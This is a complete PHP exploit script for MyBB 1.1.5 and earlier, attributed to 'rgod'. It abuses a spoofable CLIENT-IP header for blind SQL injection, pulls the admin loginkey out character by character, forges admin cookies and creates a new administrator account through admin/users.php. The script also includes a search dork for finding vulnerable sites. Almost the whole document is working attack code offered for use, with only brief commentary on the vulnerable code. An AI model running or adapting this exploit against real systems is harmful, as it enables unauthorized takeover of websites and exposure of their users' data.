!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to MyBB\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix different from default (mybb_)\n";
echo "   -u[number]   specify a user id other than 1 (usually admin)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "   -d:          disclose table prefix (reccomended)\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -d\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n";
die;
}
/* software site: http://www.mybboard.com/

   vulnerable code in inc/functions.php near lines 1292-1320:

   ...
   function getip() {
  global $_SERVER;
  if($_SERVER['HTTP_X_FORWARDED_FOR'])
  {
    if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
    {
      while(list($key, $val) = each($addresses[0]))
      {
        if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
        {
          $ip = $val;
          break;
        }
      }
    }
  }
  if(!$ip)
  {
    if($_SERVER['HTTP_CLIENT_IP'])
    {
      $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    else
    {
      $ip = $_SERVER['REMOTE_ADDR'];
    }
  }
  return $ip;
}
...

you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
  {
    global $ipaddress, $db, $mybb, $noonline;
    //
    // Get our visitors IP
    //
    $this->ipaddress = $ipaddress = getip();

    //
    // User-agent
    //
    $this->useragent = $_SERVER['HTTP_USER_AGENT'];
    if(strlen($this->useragent) > 100)
    {
      $this->useragent = substr($this->useragent, 0, 100);
    }

    //
    // Attempt to find a session id in the cookies
    //
    if($_COOKIE['sid'])
    {
      $this->sid = addslashes($_COOKIE['sid']);
    }
    else
    {
      $this->sid = 0;
    }

    //
    // Attempt to load the session from the database
    //
    $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...

injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.

--------------------------------------------------------------------------------


-*****************************************************************************-
*                                                                            *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto    *
* grazie Grosso!                                                             *
*                                                                            *
-*****************************************************************************-
 */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
  $user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
  $dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
 $temp=explode("sessions",$html);
 $temp2=explode(" ",$temp[0]);
 $prefix=$temp2[count($temp2)-1];
 echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";
}
else
{
echo "unable to disclose table prefix...\n";
}
sleep(1);
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
  $j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."\r\n";


$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";

do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";

suntzoi@suntzu.org
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";

  Add User
-----------------------------7d62702f250530--
';

$packet="POST ".$p."admin/users.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The user has successfully been added",$html))
{
  echo "exploit succeeded... now login as admin\n";
  echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n";
}
else
{
  echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n";
}
?>